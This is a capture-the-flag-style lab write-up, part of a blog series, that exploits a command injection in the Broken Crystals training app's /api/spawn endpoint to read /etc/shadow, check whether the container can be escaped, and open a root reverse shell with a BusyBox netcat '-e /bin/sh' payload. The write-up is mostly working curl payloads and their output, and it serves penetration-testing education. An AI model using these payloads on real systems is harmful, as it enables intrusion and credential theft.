> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Broken Crystals Field Notes 2: From a Single Query Parameter to a Root Reverse Shell
- URL: https://taiwanding.com/en/broken-crystals-command-injection-root-reverse-shell/
- Published: 2026-07-03T05:45:11.000Z
- Updated: 2026-08-04T06:16:35.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

📚 Series · Broken Crystals Field Notes

1. [Part 1: Information Disclosure → Arbitrary File Read (LFI)](https://taiwanding.com/en/broken-crystals-lfi-information-disclosure-writeup/)
2. ▸ Part 2: query parameter → root reverse shell (this post)
3. [Part 3: eval SSJI for RCE, plus XXE](https://taiwanding.com/en/broken-crystals-eval-ssji-rce-xxe-ssrf/)
4. [Part 4: MCP Attack → admin RCE kill chain](https://taiwanding.com/en/broken-crystals-mcp-attack-jwt-none-admin-rce-kill-chain/)

> Picking up from the previous post, I've already used the arbitrary file read (LFI) in `/api/file` to turn Broken Crystals from a black box into a white box—I can now read the compiled source of the NestJS backend at will. In this post I take the OS command injection in `/api/spawn`, which I found through source auditing, all the way to an interactive reverse shell as root inside the container, and record two practical details I ran into along the way: "command injection without a shell" and "reverse shell into a WSL2 host."

## 1\. White-box recon: spotting the command injection at a glance

With LFI in hand, reading the backend source is the shortcut. I read `dist/app.controller.js`, and the implementation of `/api/spawn` is practically self-explanatory:

```js
async getCommandResult(command) {
    return await this.appService.launchCommand(command);   // command goes straight into launchCommand
}

```

Combined with `@Get('spawn')` and `@Query('command')`, and with the Swagger example generously spelling out `example: 'ls -la'`, the fully user-controlled `command` is fed directly into `launchCommand`—this endpoint is basically designed to be popped for RCE. That same controller actually also harbors the `eval()` SSJI in `/api/process_numbers` and the XXE in `/api/metadata`, both RCE-grade. This post focuses on the `spawn` path; the rest I'll deal with later.

## 2\. Confirming the injection: root on the first shot

First a harmless check to confirm it really executes system commands:

```bash
curl -s "http://localhost:3000/api/spawn?command=id"
# uid=0(root) gid=0(root) groups=0(root),...

```

`uid=0(root)`—not just RCE, but straight-up **root**.

There's a comparison here worth pausing on: earlier, when I read `/etc/passwd`, the app presented itself externally as running under the `node` user (uid 1000), yet running `id` through `spawn` returns root. This means **the nodejs container itself is running as root**—a double problem of command injection plus root inside the container.

## 3\. The key trait: `spawn` doesn't go through a shell

The instinct after landing RCE is to chain commands, but here I hit a very instructive snag:

```bash
curl -s "http://localhost:3000/api/spawn?command=id;whoami;hostname"
# {"error":"spawn id;whoami;hostname ENOENT",...}

```

`ENOENT` (Error NO ENTry) means the executable can't be found—notice that it took **the entire string `id;whoami;hostname` as one command name** to look up. That reveals the underlying implementation: it's Node's `spawn(command)`, **with no shell involved**.

From this you can determine the type of command injection, which is critical in real pentests:

- **With a shell** (`exec("...")` or `sh -c`) → shell metacharacters like `;`, `&&`, `|`, `$()` work, and you can chain freely.
- **Without a shell** (`spawn(cmd, args)` without `{shell:true}`) → the whole string is treated as a single executable name, and metacharacters mean nothing.

But it's not that you can't pass arguments at all—testing shows it **splits on spaces**, taking the first token as the executable and the rest as arguments:

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /etc/shadow"
# root:*::0:::::  ... (successfully read the root-only shadow file)

```

So the capability boundary is crystal clear: **you can run any single command with space-separated arguments, but you cannot chain multiple commands with metacharacters.**

> Tip: when a command contains spaces or special characters, use `curl -G ... --data-urlencode "command=..."` to let curl handle the URL encoding automatically, so you don't have to work out `%20` by hand. This is equally handy when firing payloads in real bug bounty work.

## 4\. Container escape recon: finding the ceiling

With root inside the container, the first question to ask is "can I break out to the host?" Checking item by item:

```bash
# is docker.sock mounted in?
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ls -la /var/run/docker.sock"
# ls: /var/run/docker.sock: No such file or directory

# capabilities
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /proc/self/status" | grep -i cap
# CapEff: 00000000a80425fb

```

Reading it:

- **No docker.sock** → the most direct escape ("control the host daemon through the socket") is off the table.
- `**CapEff: a80425fb**` → this is Docker's default capability set, and it does not include `cap_sys_admin` (the one privileged escapes love most), meaning this is a standard non-privileged container.

Conclusion: although I'm root inside the container, it's a standard, properly isolated, non-privileged container. There's no breaking out to the host, so root inside the container is the ceiling of this path—which is also the lab's responsible design: it lets you play all the way to root RCE, but won't let you accidentally wreck the host.

## 5\. Upgrading to a reverse shell

Firing curl one command at a time is tedious, and you can't chain. Upgrading to an interactive reverse shell is the standard move after RCE.

### Environment recon

First, see what reverse-shell tools the container has (Alpine is extremely stripped down):

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=which nc bash sh python3 perl busybox"
# /usr/bin/nc      (only nc, nothing else)

```

Only `nc`. Next, confirm its variant and whether it supports `-e`:

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc --help"
# BusyBox v1.37.0 ... -e PROG Run PROG after connect (must be last)

```

It's BusyBox nc, **and it has `-e`** (`must be last`, so the argument goes at the very end). That spares us the hassle of setting up an `mkfifo` pipe as you would without `-e`.

### Network recon

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ip route"
# default via 172.22.0.1 dev eth0

```

`172.22.0.1` is the Docker network gateway—that is, **the WSL2 host's address as seen from inside the container**. The reverse shell connects back to this.

### Here the "no shell" restriction actually works in our favor

A reverse-shell payload without `-e` needs metacharacters like `;`, `|`, `>`, and `2>&1`, all of which are useless under `spawn`. But because this nc has `-e`, the reverse shell itself is a purely space-separated command that needs no metacharacters at all:

```
nc  172.22.0.1  4444  -e  /bin/sh

```

This is precisely the natural shape of `spawn("nc", ["172.22.0.1","4444","-e","/bin/sh"])`—`spawn`'s space-splitting has conveniently pre-divided the arguments for us.

### Listener on WSL

```bash
# in a new WSL Kali tab
nc -lvnp 4444

```

Send the payload:

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc 172.22.0.1 4444 -e /bin/sh"

```

Result:

```
connect to [172.22.0.1] from (UNKNOWN) [172.22.0.7] 35451
id
uid=0(root) gid=0(root) groups=0(root),...

```

An interactive shell as root inside the container is ours.

## Attack chain summary

```
White-box source audit (read dist/app.controller.js)
    └─ locate /api/spawn command injection
         ├─ command=id                → uid=0(root)  (direct root RCE)
         ├─ determine type: spawn without shell   (; chaining → ENOENT, but space-separated args work)
         ├─ escape recon: no docker.sock, non-privileged container → ceiling is inside the container
         └─ BusyBox nc -e reverse shell        → interactive root shell inside the container

```

A single `?command=` query parameter, run through the full flow of "confirm RCE → determine the command-injection type → container-escape recon → upgrade to reverse shell," gives complete control of the container. The point isn't how simple the bug itself is, but the systematic assessment and expansion that follows once you have RCE—judging whether a command injection goes through a shell, whether the container can be escaped, and how to pop an interactive shell in a constrained environment. Those are the skills that transfer to real targets.

*This article is a record of testing against a self-hosted lab within an authorized scope. All content is for defensive research and educational purposes only. Do not apply any of these techniques to unauthorized targets.*